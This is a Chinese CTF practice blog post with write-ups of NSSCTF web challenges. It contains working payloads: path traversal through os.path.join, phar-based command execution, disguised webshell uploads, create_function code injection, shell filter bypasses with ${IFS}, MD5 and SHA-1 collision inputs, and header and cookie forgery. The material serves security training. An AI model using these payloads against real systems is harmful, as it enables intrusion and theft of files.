nss刷题

发布于:2025-02-11 ⋅ 阅读:(53) ⋅ 点赞:(0)

文件上传

[NISACTF 2022]babyupload(js源+控制台覆盖源码)

1.打开环境,上面叫我们传图片,测试了一下,传什么都不能通过

2.提示里面个给了一个文件,访问一下

3.得到一个www.zip文件,是一个python的脚本,也就是页面运行的框架

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (       #定义数据库表的创建语句,用于存储文件的id和路径。
id text primary key,
path text 
);
"""


def db():                                  #定义一个函数db,用于获取数据库连接。   
    g_db = getattr(g, '_database', None)    #在db函数中,使用Flask的全局对象g来存储数据库连接对象,以确保整个应用生命周期中只创建一次数据库连接。
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request         
def setup():                      #定义一个钩子函数setup,它将在应用处理第一个请求之前执行,用于初始化数据库。
    os.remove("database.db")        #在setup函数中,首先删除已存在的数据库文件(如果存在),然后获取数据库连接并执行SCHEMA来创建files表。
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')                   #定义应用的根路由/,当用户访问这个路由时,将调用hello_world函数。
def hello_world():                #hello_world函数返回一个HTML表单,允许用户上传文件。
    return """<!DOCTYPE html>      
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')       #定义/source路由,用于提供文件下载。
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True) #source函数使用send_from_directory函数从指定目录发送www.zip文件,并将其作为附件。


@app.route('/upload', methods=['POST'])   #定义/upload路由,它接受POST请求,用于处理文件上传
def upload():                             #在upload函数中,检查是否有文件被上传,并且文件名中是否包含非法字符(如.),如果有,则重定向回首页或返回错误信息
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()                         #创建数据库连接和游标,生成一个唯一的文件ID,尝试将文件信息插入数据库,如果出现重复则返回错误信息,否则提交事务。
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)     #将上传的文件保存到uploads/目录下,并重定向到文件查看页面。
    return redirect('/file/' + uid)


@app.route('/file/<id>')     #定义/file/<id>路由,用于根据文件ID获取文件内容
def file(id):
    conn = db()             #在file函数中,创建数据库连接和游标,查询文件路径,如果未找到,则返回404错误。
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:        #如果找到了文件路径,就打开文件并返回其内容。
        return f.read()


if __name__ == '__main__':       #如果直接运行这个脚本,就启动Flask应用,监听所有IP地址的80端口请求。
    app.run(host='0.0.0.0', port=80)

4,根据我们审计的代码,可以得到几个关键信息:

字符.被过滤了,意思就是只要我们上传的文件有后缀.xxx,该文件就不能成功上传;

除此以外,这里利用的是一个函数点,os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

关键点:

  • os.path.join 会自动根据当前操作系统的文件路径分隔符拼接路径。
  • 处理路径时,它会避免出现多余的分隔符,比如在 Windows 上 os.path.join("folder", "file.txt") 会自动拼接成 folder\file.txt,而不会出现 folder\\file.txt
  • 如果任何部分是绝对路径(例如 /home/userC:\Windows),os.path.join 会忽略之前的路径部分,直接使用绝对路径。

这就是我们利用的地方,我们在上传文件的同时抓包,然后修改文件名为/flag,在代码中,如果能正常运行,就会滤过前面的/uploads,根据函数特性,我们原本的路径/upoloads/flag,就会变为/flag(前提是根目录下真的有flag文件,不然就访问不到)

提示说叫我们访问一个路径,访问得到flag


 

[NISACTF 2022]bingdundun~(phar归档文件利用)

打开环境只允许上传图片和zip类型的文件,不可以上传配置文件解析,所以不能用配置文件+图片类型的方法。有两种解决方法。

两种方法都是利用phar://和zip://+文件路径访问文件内容

第一种:phar协议

Phar 协议允许通过 phar:// 前缀来访问 Phar 文件中的内容

eg:include 'phar:///path/to/myphar.phar/file.php';

现将写好的phar文件用phpstudy访问一下,注意要修改一下配置文件,

目录如下,找到对应版本的php.ini修改phar.readonly=On改为=Off,前面的;是注释,注意把注释删除掉,然后重启phpstudy的服务

修改如下

 访问成功后文件夹如下

把得到的exp.phar文件的文件名修改为exp.zip,然后上传

访问上传的文件,命令执行

得到flag

[GXYCTF 2019]BabyUpload

先测试一下,传了哟个图片马,可以上传

传php的不让,内容都不能是php标签的

用一个script标签的木马作为jpg文件上传,再用配置文件解析jpg码,成功执行,思路是这样,操作是:

上传木马

传配置文件

链接蚁剑

得到flag

[HNCTF 2022 Week1]easy_upload

打开环境传马直接连,没有任何过滤

得到flag

rce

[鹤城杯 2021]Middle magic

打开环境,代码审计

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?>

第一关:要求是get传参aaa的内容为apass_the_level_1,且字符长度小于20,正则匹配过滤了含有level和pass_the_level_1#的字符串,但是这里的正则用.匹配任意字符,并不包括换行符,^ $说不在同一行的过滤不到,因此,开始我们加一个换行符,%0a就可以。

将#转码为%23,浏览器才会将其作为实义字符处理,加入使用原来的#在浏览器中会将其识别为网页的某一个位置,如,http://www.example.com/index.html#print就代表网页index.html的print位置

payload:?aaa=%0apass_the_level_1%23

level2:post传参adminroot_pwd,弱比较,用数组绕过,

level3:

要求我们POST传参level_3,是json格式的。要满足level_3变量的result键的值 与$result变量相等,但是$result变量在index.php中未定义,在result.php中不知道有没有定义,所以$result变量值不可得知。先当成未定义,值为空,NULL。

 

实际测试证明,这里level_3只要POST了就行,值是多少都可以。因为空NULL和什么东西弱比较都是true,那么就验证了我们的猜想,$result变量未定义。

[NISACTF 2022]level-up

打开环境什么也没有,这里是第一关,上面说不允许

那什么东西可以不允许,那就是robots.txt了

接着访问 得到代码

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

leve2:MD5的强比较

arrary1和arrary2的字符不相等,md5值相等。 这里的操作是将原本相同的两个字符串先编码为二进制,再进行url编码,这两个字符串原来有细微的区别,但是他们的MD5值是一样的

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2  
array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//两个16进制格式的两个不同子符串有同样的md5值
008ee33a9d58b51cfeb425b0959121c9

level3:sha1强比较

要求两个字符串的字符不相等,但是sha1的值相等

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

原理同上,这里补充一个,payload太长了,hackbar传不了,只能用bp

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

 

level4:php变量解析绕过,要求是传参NI_SA_==txw4ever

<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?> 

 先解析一下两个if中的函数        

在 PHP 中,query 通常指的是 URL 中的查询字符串部分,即 ? 之后的部分。查询字符串用于在 GET 请求中传递参数。例如,在 URL http://example.com/?key1=value1&key2=value2 中,key1=value1&key2=value2 就是查询字符串。

parse_url() 是 PHP 中的一个内置函数,用于解析 URL 并返回其组成部分。这个函数非常有用,尤其是在处理和分析 URL 时,可以轻松提取 URL 的各个部分,如协议、主机名、路径、查询字符串等。 

 主要就是过滤了_,可以用+、[  代替 _  

payload:

?NI+SA[=txw4ever

 

level5:

正则匹配让第一个字符不能为字母数字下划线,最后的/i是不区分大小写,/s匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){   //第一个字符不为字母和数字
    show_source(__FILE__);
}
else{
    $a('',$b);    //a是参数,b是内容
}

 这里使用一个函数create_function()

开始第一个字符不让是数字和字母,可以用\,在正则中\create_function视为:c r e a t e _ f u n c t i o n

然后b是要执行的命令b=}system('xxx');/*,这里的}/*是结束if判断中的a函数运行然后system,也就是else中的a和b的关系的那个部分。

具体原理是:NSS [NISACTF 2022]level-up-CSDN博客

执行命令:?a=\create_function&b=}system('ls');/*

在根目录下?a=\create_function&b=}system('ls /');/*

得到flag,?a=\create_function&b=}system('cat /f*');/*

[MoeCTF2021]babyRCE

题目描述

RCE, remote code execution,泛指能在远端机器上执行任意代码的情况。可是网站管理员添加了种种入侵检测,这该如何是好?
https://github.com/XDSEC/moeCTF_2021

打开环境,直接给了,过滤的内容都写好了,比较关键的有cat,tac,flag,空格

 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
} 

先看一下flag在哪里

直接抓吧,payload:?rce=ca\t${IFS}$fla\g.php

 [SWPUCTF 2022 新生赛]ez_rce

打开环境没上面什么也没有,问你真的什么也没有么,查看源码也没有什么,扫一下,有一个robots.txt,访问得到一个目录

访问一下是thinkphp5,网上有很多利用的poc

直接用工具,暂放

[WUSTCTF 2020]朴实无华

打开环境,只有一个hack me,源码什么也没有,这种情况需要扫描一下,得到robots.txt

给了一个新的地址,假flag

扫描得到的还有一个Fl4g.php,访问一下

接下来是rce

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

一层层来吧,第一层,intval()函数是强制转换函数,无论你传什么,都会将其转换为int型的数据,eg:如下,该函数会抛弃小数部分,使其成为整数

<?php
// 将浮点数转换为整数并赋值给变量a
$a = intval(2000.1);

// 将变量a的值赋值给变量b
$b = $a;

// 输出变量a的值
echo $a;
?>

同时它还有一个特殊科学记数法的用法,结果是3000

<?php
$a = intval(3e3);   //意思是2*10的三次方
$b = $a;
echo $a;
?>

如何加值,结果是3001

<?php
$a = intval(3e3);
$b = $a;
echo $a+1;
?>

成功绕过

第二关的意思是叫我们传一个值,这个值和它的md5值相等,在php中0e开头的值都认为是科学计数法,而php无法识别,只会=0,找几个放这里

         值                                     值的MD5

0e215962017    0e291242476940776845150308577824
0e1284838308    0e708279691820928818722257405159
0e1137126905    0e291659922323405260514745084877
0e807097110    0e318093639164485566453180786895
0e730083352    0e870635875304277170259950255928

后面是第三关先看看flag在哪里,然后再抓,应该是那个长的

抓吧,cat被禁用了,还有空格,没关系,用tac和$IFS$9,payload:?num=3e3&&md5=0e215962017&&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[FSCTF 2023]webshell是啥捏

用emoji表情代替字符,最后那个哭的表情是passthru();get传参的内容。

直接传参

[SWPUCTF 2022 新生赛]webdog1__start

看源码,意思是web传参一个字符串的MD5值和原来的值相等,0e开头的值在php中都是0

payload:?web=0e215962017,跳转到了start.php

反序列化

ssti

js分析

[GDOUCTF 2023]hate eat snake

打开环境是一个游戏,一般来说是在源码,尝试查看源码

 先玩一下游戏,看报错,在查看源码

根据关键词快速定位,让然后看一下它定义的getScore赢得游戏的关键条件是什么

搜索getScore

找到

if(this['getScore']()>-0x1e9*-0xf+0x5*0x6d+-0x2e*0xaa)return alert(_0x324fcb(0x2d9,0x2c3,0x2db,0x2f3)+'k3r_h0pe_t'+_0xe4a674(0x5a1,0x595,0x59e,0x57c)+'irlfriend}'),![];

意思是:if (this['getScore']() > 60),然后返还一个字符串,预计是flag

在控制台执行,此段代码重新定义了getScore,让它的值始终为61,就满足了上面的条件

Snake.prototype.getScore = () => 61

在控制台执行,让代码添加到源代码中

 然后重玩游戏就可以得到flag

[HGAME 2023 week1]Classic Childhood Game

小游戏,在js源码中找信息,搜索flag关键字,在/Res/Events.js中有类似flag的字段

得到

'\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'

 cyberchef一把梭

[MoeCTF 2022]ezhtml

直接查看源码,源码里面就有答案

[SWPUCTF 2022 新生赛]js_sign(js+tapcode)

打开页面是一个验证的按钮,查看源码。

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

将flag要等于的值拿去base64解码,得到

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

tapcode编码

tapcode解码得到

[SWPUCTF 2022 新生赛]numgame

打开环境,是一个游戏,运算的结果是20.但是我们点击+和-怎么都不能得到20

试图查看源码,但是ctrl+u,鼠标右键和f12都不可以用,换个方法 view-source:

好像有,试了一下,不对

给了一个新的地址

得到了提示

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{       //定义了一个nss类
    static function ctf(){
        include("./hint2.php");   //包含有一个hint2.php文件
    }
}
if(isset($_GET['p'])){               //get传参,参数p
    if (preg_match("/n|c/m",$_GET['p'], $matches))    //对参数p的内容进行过滤,过滤n和c,/m多文本匹配
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 

尝试直接命令执行,但是行不通,看一下hint2

意思是调用类,但是类是nss2,在源码中并没有体现,按照参数传递来说只有下面的参数p能够传参,可以通过参数p来调用nss类里的ctf方法,但是n和c被过滤了可以大小写绕过,这里有一个::双冒号它的作用是:: 运算符直接通过类名调用静态方法,而不需要创建类的实例。,这就可以了payload:?p=Nss::Ctf,可以成功输出hint2.php,

改一下类名?p=Nss2::Ctf

sql

http相关

[HNCTF 2022 Week1]Interesting_http(请求头伪造+post)

打开环境叫我们post传一个want,那want什么呢,肯定是想要flag嘛

说我们不是admin ,可以看到cookie的最后有一个notadmin,改成admin

说非本地,加上一个X-Forward-For:127.0.0.1

得到flag

[SWPUCTF 2022 新生赛]xff

题目描述:我是本地人

打开环境,是这样一句话,意思是必须使用xiaohong自己的电脑,才能进入,但是这里不是用户的意思,它说的电脑是指本地,抓包改一下X-Forwarded-For:127.0.0.1

Must be accessed from Xiaohong's own computer.

后面又说,需要跳到家的页面,也就是Referer:主页面地址,得到flag

[MoeCTF 2021]Web安全入门指北—小饼干

打开环境,上面说我们不是vip,抓包看一下,可以看到cookie后面有一个vip=0

修改后得到flag

信息搜集

[SWPUCTF 2022 新生赛]where_am_i

打开环境,上面说叫我们输入一个11位的数字,还有一张图片,看起来是一个酒店

百度识图一下

11位的数字就是电话号码

得到flag

[FSCTF 2023]源码!启动!

打开环境,ctrl+u查看源码


网站公告

今日签到

点亮在社区的每一天
去签到